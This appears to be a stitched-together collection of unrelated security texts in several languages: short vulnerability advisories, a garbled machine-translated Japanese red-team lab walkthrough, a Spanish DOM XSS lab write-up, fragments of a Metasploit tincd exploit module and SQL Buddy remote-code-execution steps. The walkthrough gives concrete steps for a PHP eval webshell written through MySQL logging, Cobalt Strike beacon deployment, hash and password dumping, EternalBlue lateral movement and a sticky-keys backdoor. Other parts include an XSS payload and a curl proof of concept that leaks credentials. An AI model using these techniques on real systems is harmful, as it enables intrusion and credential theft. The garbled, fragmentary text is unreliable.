Windows Movie Maker is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.
Successfully exploiting this issue allows attackers to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will result in a denial-of-service condition.
Windows Movie Maker 2.1.4026 is vulnerable; other versions may also be affected.

OpenLDAP is prone to a remote denial-of-service vulnerability that affects the 'modify relative distinguished name' (modrdn) command.
Attackers can exploit this issue to deny service to legitimate users by crashing affected 'slapd' servers.

0x00はじめに
以前は、ドメイン環境を使用していたとき、ドメインのホストはネットワークを離れませんでした。当時、ソックスプロキシは、ネットワークホストをエッジホストに残さなかったトラフィックをプロキシに使用していました。当時、私はそれについてあまり考えていませんでした。私が降りた後、私はその時点で状況を再現するために環境を設定し、インストールできないホストを構築するより簡単な方法があるかどうかを確認することを考えました。
たまたま、このドメインの環境はかなり良いことがわかりました。複製プロセス中、いくつかの知識が私の知識の盲点に触れ、多くの新しい知識を獲得しました。私はプロセスを特別に記録し、ドメインにネットワークホストの構築を学びたいマスターと共有しました。
0x01範囲アドレス割り当て
イントラネットセグメント：192.168.52.0/24
外部ネットワークセグメント：192.168.10.0/24
攻撃航空機：
Kali：192.168.10.11
範囲：
Win7（内部）：192.168.52.143
Win7（外部）：192.168.10.15
ドメインホスト：
winserver2003：192.168.52.141
winserver2008：192.168.52.138
その中で、Win7は外部ネットワークとイントラネットと通信でき、ドメインのホストはイントラネット間でのみ通信できます。
当初、DCPINGはWIN7で動作しません。ファイアウォールを閉じた後、PINGできます。
cドライブの下でphpstudyディレクトリを開くためにWebサービスを開く
0x02 Webサーバーの侵入
nmapプローブポート
NMAP -SS -P0 -SV -O 192.168.10.15 
ポート80を開き、Webアドレスにアクセスしようとしましたが、PHPプローブであることがわかりました
下部にスライドして、Webサイトの下部にMySQLデータベース接続検出を見つけます
弱いパスワードルート/ルート接続が成功しました
背景をスキャン
私はここで剣を使用しますが、この射撃範囲を撮影し終えた後、それらの多くがCMSをスキャンしていることを確認するためにオンラインになったので、それは非常に難しいようです。弱いCMSパスワードを使用して背景を入力してシェルを書き込む方法を示しません。興味があれば、自分で検索できます。
phpmyAdminディレクトリがあるか、ルート/ルートログインの弱いパスワードが成功していることがわかりました
入力後のインターフェイスは次のとおりです
0x03 phpmyadminを介してシェルを書き込み
phpmyadminを介してシェルを書く方法は2つあります
最初に、Outfileに直接選択するように書き込もうとしましたが、ここのSecure_file_privの値はnullであるため、特権を提起することはできません。
別の方法のみを使用し、グローバルログを使用してシェルを書き込みます
「％一般％」のような変数を表示
構成を確認すると、グローバルログが閉じた状態にあることがわかります。 general_log_fileは、ログの絶対アドレスを返します。
次に、最初にそのグローバルログを開き、次にその道にトロイの木馬を書きます
グローバルgeneral_log=on;
グローバルログを開いた後、絶対パスを変更します。ここにピットがあることに注意してください。ログによって返されるパスはC: \\ phpstudy \\ mysql \\ data \ stu1.logですが、mysqlがアクセスする絶対アドレスはc: \\ wwwディレクトリです。
グローバルgeneral_log_file='c: \\ phpstudy \\ www \\ shell.php';
これが別の文のトロイの木馬です
'？php eval（$ _ post [cmd]）;'を選択します
次に、アリの剣をつなぎます
接続が成功していることがわかります
0x03イントラネット情報コレクション
システム許可を確認してください。開始したらすぐに管理者の権限を確保するのは非常に快適です
ipconfig /すべてのネットワーク情報を表示、ドメイン環境+デュアルネットワークカード
TaskList /SVCはそれを一時的に見て、イカのようなものはないように思われました。
ソフトソフトの殺害はないと考えて、CSによって生成されたTrojan Exeをターゲットホストにアップロードするために、最もシンプルでCrudest CSを使用する方が簡単です。
計画されたタスクを使用してオンラインcsにアクセスします
正常に起動しました
0x04イントラネット浸透
情報収集
ネットビュードメイン情報
CSSが提供するポートを使用して、ホストの波をスキャンします
次のようにすべてのホストをスキャンします
ハッシュダンプハッシュの波をキャッチします
logonpasswordsは、平易なテキストの波をキャプチャします
すべての資格情報は次のとおりです。コーディングの理由は、前にログインするときにパスワードがリセットされたため、個人情報でパスワードを取得したことです。
考え
ターゲットホストにはファイアウォールが有効になっていないため、ここでテストしました。CSSで構築されたPSEXECを使用して、ドメインコントロールとコンピューターパスワードを水平方向にキャプチャできます。ただし、Win7デュアルネットワークカードやドメイン内の他のホストがネットワークを離れることができない状況を考えると、ホストから抜け出さない方法を練習してください。
一般に、インターネットなしでオンラインに行く方法は次のとおりです。
SMBビーコンを使用して、httpプロキシを介してオンラインでリスナーを構成するpystingerを使用してsmbビーコンメソッドを使用します
SMB
ビーコンは、名前のパイプを使用して、親のビーコンを介して通信します。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは通信にパイプという名前のウィンドウを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMB
ビーコンは比較的隠されています。 SMBビーコンは、利用可能な負荷を直接生成することはできません。PSEXECまたはStagelessペイロードを使用してのみ起動できます。
まず、イントラネットのホストのビーコンを取得し、パスワードをつかんでSMBインジェクションを実行し、オープンポート445を使用して別のマシンで管理者アカウントパスワードを取得します。ターゲットマシンがネットワークを離れない場合は、SMBを使用できます
ビーコンはターゲットホストをオンラインでもたらします
1。使用条件
SMBビーコンのホストは、ポート445の接続を受け入れる必要があります。同じコバルトストライクインスタンスによって管理されたビーコンへのリンクのみ。このビーコンの水平ムーブメントを使用するには、ターゲットホストに管理者の権利を持つ管理者の権利または資格情報が必要です。 2。使い方
（1）SMBリスナーを作成します
（2）水平方向の動きのためにCSでPSEXECを使用し、既存のビーコンをスプリングボードとして選択します。資格情報は管理者でなければなりません
、つまり、ターゲットホスト管理者の特権を持っています
（3）接続が成功し、SMBビーコンのホストの右側に∞∞ロゴがあることがわかります
この方法を使用して、主にネットワーク発信機を介してオンラインで中間としてオンラインで行くマシン。ネットワークのないホストが正常に起動された後、ネットワークのないホストが切断された場合、ネットワークのないホストも切断されます。
0x05イントラネット水平浸透
考え
ラドンを使用してイントラネットの永遠の青をスキャンし、これらのホストがすべてMS17-010を持っていることがわかります
MS17010をプレイするいくつかの一般的な方法：
MSFLADON/LADON_MS17010 MSFから分離されたExessusでこれらの幹部プラグインの方法を試しました。私はプロセスについて一つずつ説明することはありません、私のテストの結果について話してください
MSFは最も安定していますが、監視モジュールをセットアップして攻撃モジュールを選択する必要があるため、戦うのは少し面倒です。 ladon_ms17010は便利ですが、あまり安定していない場合があります。 CSSプラグインは安定しておらず、ネットワークがネットワークなしで安定していない場合、成功率は低くなります。
ネットワークを離れないこの場合、MSFとHITに分離されたEXEとLADON_MS17010を使用することを優先することができます。成功裏に、カスタムDLLを介して新しいユーザーが作成され、管理者グループに参加し、ポート3389を開き、粘着性のあるキーバックドアが残ります。
実際の状況に応じて、適切な期間と条件の下で直接リモートでログインし、機密データをめくることを検討することができます。これは、「パスワードbook.txt」などの運用および保守担当者の多くの「良い習慣」により、多くの侵入に多くの利便性をもたらすことがよくあります。
cs派生MSFセッション
MSFはリスニングポートを設定します
新しいポートを作成して会話を作成します
MeterPreterを取得するために実行します
ms_17_010ドメイン制御権限を取得
ここでは、DCがMS_17_010の脆弱性を持っていることを知っているので、最初にEternal Blueを使用してヒットしようとしました。
次のモジュールを使用します
Exploit/Windows/SMB/MS17_010_ETERNALBLUE 
実行後、EXPがヒットしたことがわかりましたが、セッションは確立されていません
MS17010モジュールを変更します
Exploit/Windows/SMB/MS17_010_PSEXECを使用します
ペイロードWindows/MeterPreter/lind_tcp 
を設定します
シェルも手に入れませんでした。当時は注意深く考えていませんでした。後で、Win7が2つのネットワークセグメントにあったためである可能性があると考えたので、Eternal Blueに直接ぶつかることでシェルを取得できませんでした。
MSFは、ネットワークマシンのMS_17_010
を出力できません以前にMeterPreterをMeterPreterを入手することを考えたので、ルートを追加して試してみました
MSFは、単独で戦うとき、まだ非常に安定しており、香りがあります。 Win7がMSFで発売された後、私たちはすでに5つあることを事前に知っていました

============
"DomPDF library and a small pi1 to show how to use DomPDF to render the
current typo3-page to pdf."
(taken from the extension's description)
More Details
============
The TYPO3 extension ke_dompdf contains a version of the dompdf library
including all files originally supplied with it. This includes an
examples page, which contains different examples for HTML-entities
rendered as a PDF. This page also allows users to enter their own HTML
code into a text box to be rendered by the webserver using dompdf.
dompdf also supports rendering of PHP files and the examples page also
accepts PHP code tags, which are then executed and rendered into a PDF
on the server.
Since those files are not protected in the TYPO3 extension directory,
anyone can access this URL and execute arbitrary PHP code on the system.
This behaviour was already fixed in the dompdf library, but the typo3
extension ke_dompdf supplies an old version of the library that still
allows the execution of arbitrary PHP code.
Proof of Concept
================
Access examples.php on the vulnerable system:
http://www.example.com/typo3conf/ext/ke_dompdf/res/dompdf/www/examples.php
Enter PHP code in the text box on the bottom of the page and click the
submit button, for example:
------------------------------------------------------------------------
<?php phpinfo() ?>
------------------------------------------------------------------------
The page will return a PDF file containing the output of the PHP code.
Workaround
==========
Remove the directory "www" containing the examples.php file or at least
the examples.php file from the extensions' directory.
Fix
===
Update to version 0.0.5 of the extension.
Security Risk

Introduction
============
"EntryPass Active Networks are designed to enhance highly customized and
rapid 'real-time' changes to the underlying network operation.
Brilliantly engineered with all the power you need to enable
code-sending, minus unnecessary buffer time with its distributed
architecture capable of processing access demand at the edge level
without leveraging at the server end."
(From the vendor's home page)
More Details
============
EntryPass N5200 Active Network Control Panels offer an HTTP service on
TCP port 80. It appears that only the first character of a requested
URL's path is relevant to the web server. For example, requesting the
URL
http://example.com/1styles.css
yields the same CSS file as requesting the following URL:
http://example.com/1redteam
By enumerating all one-character long URLs on a device, it was
determined that URLs starting with a numeric character are used by the
web interface, as listed in the following table:
http://example.com/0 Index
http://example.com/1 Stylesheet
http://example.com/2 Authentication with Username/Password
http://example.com/3 Session Management
http://example.com/4 Device Status
http://example.com/5 Progressbar Image
http://example.com/6 Reset Status
http://example.com/7 Login Form
http://example.com/8 HTTP 404 Error Page
http://example.com/9 JavaScript
For URLs starting with non-numeric characters, an HTTP 404 - Not Found
error page is normally returned. Exceptions to this rule are URLs
starting with the lower case letters o to z and the upper case letters A
to D. When requesting these URLs, memory contents from the device appear
to be returned in the server's HTTP response.
As highlighted in the following listing, both the currently set username
ADMIN and the corresponding password 123456 are disclosed in the memory
contents when requesting the URL http://example.com/o:
$ curl -s http://example.com/o | hexdump -C | head
[...]
0010 XX XX XX XX XX XX XX XX XX XX XX 77 77 77 2e 65 |XXXXXXXXXXXwww.e|
0020 6e 74 72 79 70 61 73 73 2e 6e 65 74 00 00 00 00 |ntrypass.net....|
[...]
0060 XX XX XX XX XX XX XX XX XX XX 41 44 4d 49 4e 26 |XXXXXXXXXXADMIN&|
0070 20 20 31 32 33 34 35 36 26 20 XX XX XX XX XX XX | 123456& XXXXXX|
[...]
These credentials grant access to the administrative web interface of
the device when using them in the regular login form.
Similarly, it is possible to get the status output of the device without
prior authentication by simply requesting the following URL
http://example.com/4
The server responds to the request with the following XML data, which
contains information about various different settings of the device.
<html>
<head>
<title>Device Server Manager</title>
</head>
<body>
<serial_no>XXXXXXXXXXXX-XXXX</serial_no>
<firmware_version>HCB.CC.S1.04.04.11.02 -N5200[64Mb]</firmware_version>

[...]
</body>
</html>
Proof of Concept
================
------------------------------------------------------------------------
$ curl -s http://example.com/o | hexdump -C | head
------------------------------------------------------------------------
Workaround
==========
Access to the web interface should be blocked at the network layer.
Fix
===
Not available.
Security Risk
=============
Attackers with network access to an EntryPass N5200 Active Network
Control Panel can retrieve memory contents from the device. These memory
contents disclose the currently set username and password needed to
access the administrative interface of the device. Using these
credentials, it is possible to read the device's current status and
configuration, as well as modify settings and install firmware updates.
With regards to the device itself, this vulnerability poses a high risk,
as it allows attackers to gain full control. The actual operational risk
depends on how the device is used in practice.

En este post vamos a estar resolviendo el laboratorio: “DOM XSS in document.write sink using source location.search”:
Cuando abrimos el lab, lo primero que nos encontramos es la siguiente web:
Hay una barra de búsqueda, por lo que vamos a probar a simplemente buscar algo:
Cuando hacemos la búsqueda, si damos click derecho y vemos el código fuente del elemento de la palabra por la que hemos buscado, podremos ver que se sitúa en el atributo src de una imagen.
Observando el como se implementa nuestro input en el código fuente, podemos enviar un payload especializado que se escape del tag <img>.
Por ejemplo, vamos a usar:
- “><script>alert(”XSS”)</script>//
Cuando hemos escrito nuestro payload, simplemente volvemos a hacer una búsqueda:
Y como vemos, se nos ejecuta el código que hemos introducido. El código fuente se vería ahora de la siguiente forma:
Como vemos, nuestro input ya no se encuentra dentro del <img>, ya que hemos conseguido cerrar el elemento para escribir código JavaScript.
Con esto hecho, conseguimos resolver el laboratorio:

'Name' => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Tinc's tincd
service. After authentication, a specially crafted tcp packet (default port 655)
leads to a buffer overflow and allows to execute arbitrary code. This module has
been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7
(windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of
FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works
for all versions <= 1.1pre6.
A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to
be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd
was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module
it was recommended to the maintainer to start using DEP/ASLR and other protection
mechanisms.

# No mona.py help on bsd or linux so:
# - Dumped .text part of tincd binary in gdb
# - Search in hex editor for opcodes for "pop r32# ret":
# 58c3, 59c3, ..., 5fc3
# - Found a couple of 5dc3. ret = start of .text + offset in hex editor
# - 0x0804BABB works very well
# UBUNTU crash only
# Manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because
# the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known
# at compile time. gcc is introducing a call to __memcpy_chk:
# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
# memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print
# *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed
# from the repository. It might be exploitable for versions compiled with an older version of gcc.
# memcpy_chk seems to be in gcc since 2005:
# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
# http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088

# rpm -i tinc-1.0.16-3.1.i586.rpm
# Again, strace shows us that the buffer overflow was detected (see Ubuntu)
# writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51
# So a crash-only non-exploitable bof here. So let's go for manual install:

# yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install
# Exploitable. Let's see:

A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory
corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel
pointers can also be leaked, allowing a full kASLR bypass.
Tested on Mavericks 10.9.5, and should work on previous versions.
The issue has been patched silently in Yosemite.

CosmoShop is prone to multiple cross-site scripting vulnerabilities and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
CosmoShop ePRO V10.05.00 is vulnerable; other versions may also be affected.

Xinha is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
Xinha 0.96.1 is vulnerable; prior versions may also be affected. Note that applications that use vulnerable versions of Xinha may also be affected.

The Lazyest Gallery WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Lazyest Gallery WordPress Plugin 1.0.26 is vulnerable; other versions may also be affected.

WebKit is prone to a cross-domain scripting vulnerability because it fails to properly enforce the same-origin policy.
Successfully exploiting this issue will allow attackers to send the content of arbitrary files from the user's system to a remote server controlled by them. This results in disclosure of potentially sensitive information which may aid in further attacks.

# Exploit Title: SQL Buddy Remote Code Execution
# Date: November 29 2014
# Exploit Author: Fady Osman (@fady_osman)
# Youtube Channel : https://www.youtube.com/user/cutehack3r
# Vendor Homepage: http://sqlbuddy.com/
# Software Link:
https://github.com/calvinlough/sqlbuddy/raw/gh-pages/sqlbuddy.zip
# Version: SQL Buddy 1.3.3
# Tested on: Kubuntu 14.10
SQLBuddy provides a web based mysql administration and it's included in
packages like wamp server.
SQL Buddy suffers from a remote code execution. This happens due to the
fact that it allows the user to login using any server he wants and that it
allows the user to export data from the database to a file on the webserver.
In order to exploit this bug do the following steps:
1- Use a sql server you control and have a valid credentials for (You can
use one of the free mysql hosting services).
2- Create a database and a table with one column of type text.
3- Insert the php code you want to execute into that table.
4- Choose the previously created table from the left menu.
5- Click Export from the top menu.
6- Choose CSV format.
7- Choose "Text File" and name the file with php extension for example
shell.php.
The exported file will be at : sqlbuddy/exports/ assuming you installed
sqlbuddy in a folder named sqlbuddy.
